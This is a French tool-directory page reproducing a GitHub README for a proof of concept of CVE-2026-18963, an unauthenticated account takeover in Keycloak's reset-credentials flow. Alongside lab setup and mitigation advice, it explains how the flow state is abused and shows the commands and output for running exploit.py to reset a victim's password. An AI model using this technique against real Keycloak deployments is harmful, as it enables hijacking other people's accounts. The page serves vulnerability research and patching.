Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-18963 — Preuve de concept d'exploit pour CVE-2026-18963, démontrant une prise de contrôle de compte non authentifiée en contournant le flux de réinitialisation des identifiants dans les applications web. | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-18963
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentification
GitHubeqstlab/cve-2026-18963

CVE-2026-18963

Preuve de concept d'exploit pour CVE-2026-18963, démontrant une prise de contrôle de compte non authentifiée en contournant le flux de réinitialisation des identifiants dans les applications web.

Voir le dépôt
19251il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-18963 Keycloak Prise de contrôle de compte non authentifiée

★ CVE-2026-18963 Keycloak PoC de contournement du flux de réinitialisation des identifiants ★

https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0


Aperçu

CVE-2026-18963 est une prise de contrôle de compte non authentifiée critique dans le composant keycloak-services de Keycloak (CVSS 9.1). Une faille dans la machine à états d'authentification de réinitialisation des identifiants permet à un attaquant distant de contourner l'étape de vérification par e-mail et d'atteindre le formulaire de mise à jour du mot de passe sans posséder le lien de réinitialisation. En ciblant un nom d'utilisateur connu, un attaquant peut définir un nouveau mot de passe et prendre le contrôle du compte de la victime sans authentification ni interaction de l'utilisateur.

Le flux vulnérable stocke l'état du sélecteur d'identifiants sous forme de note d'authentification à l'échelle de la session au lieu de le lier à l'exécution qui a affiché le sélecteur. Le fait de rentrer dans le flux de réinitialisation peut donc réutiliser un état de sélecteur obsolète pour une autre exécution. Dans les versions affectées, l'authentificateur de réinitialisation par e-mail accepte également une action sans confirmer qu'elle a été atteinte via un jeton d'action e-mail valide. L'enchaînement de ces comportements fait progresser directement l'attaquant vers UPDATE_PASSWORD.


Versions affectées

CatégorieVersion
VulnérableKeycloak 26.0.0 ≤ version < 26.4.15
VulnérableKeycloak 26.5.0 ≤ version < 26.6.6
VulnérableKeycloak 26.7.0 ≤ version < 26.7.2
Corrigée26.4.15, 26.6.6, 26.7.2 (branches de publication respectives)

Ce laboratoire utilise Keycloak 26.7.1.


Impact

  • Réinitialisation de mot de passe non authentifiée pour un utilisateur connu arbitraire
  • Prise de contrôle complète du compte sans accès à l'e-mail de la victime
  • Accès non autorisé aux applications et données protégées par le realm Keycloak affecté
  • Abus des rôles et privilèges de la victime dans les services connectés

Environnement

Construisez et exécutez l'environnement Keycloak 26.7.1 vulnérable. L'image importe un realm de test avec le flux de réinitialisation des identifiants vulnérable activé, un compte victim préconfiguré et un portail EQST avec une page de flag protégée.

docker build -t cve-2026-18963 .
docker run --rm -d \
  --name cve-2026-18963 \
  -p 9105:9105 \
  -e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
  cve-2026-18963

Attendez que Keycloak démarre, puis ouvrez le portail :

http://127.0.0.1:9105
PrérequisÉtat dans ce laboratoire
Keycloak26.7.1 (vulnérable)
Realmcve-lab
Mot de passe oubliéactivé
Compte ciblevictim
URL de base Keycloakhttp://127.0.0.1:9105/keycloak

PoC

Le script exploit.py inclus automatise la manipulation de l'état du flux de réinitialisation, demande le formulaire de mise à jour du mot de passe sans consommer de jeton d'action e-mail, modifie le mot de passe de la victime et vérifie la prise de contrôle en demandant un jeton d'accès avec les nouveaux identifiants.

Installez la dépendance Python :

python3 -m pip install requests

Exécutez l'exploit avec l'URL Keycloak, le nom d'utilisateur de la victime et un nouveau mot de passe :

# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
  http://127.0.0.1:9105/keycloak \
  victim \
  'NewPassword1!'

Une exécution réussie affiche :

[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'

Ouvrez http://127.0.0.1:9105, cliquez sur LOGIN, et authentifiez-vous en tant que victim avec le nouveau mot de passe pour confirmer la prise de contrôle du compte.


Atténuation

  • Mettez à niveau, dans la branche de publication applicable, vers 26.4.15, 26.6.6 ou 26.7.2, ou passez à une version de Keycloak plus récente et prise en charge.
  • Si une mise à niveau immédiate n'est pas possible, désactivez Realm settings → Login → Forgot password dans chaque realm comme atténuation temporaire.
  • Examinez l'activité de réinitialisation de mot de passe pour détecter des réinitialisations inattendues et enquêtez sur les comptes affectés.
  • Révoquez les sessions actives et renouvelez les identifiants des comptes suspectés d'être compromis.

Analyse

  • KR : Bientôt disponible !
  • EN :
Télécharger l’outil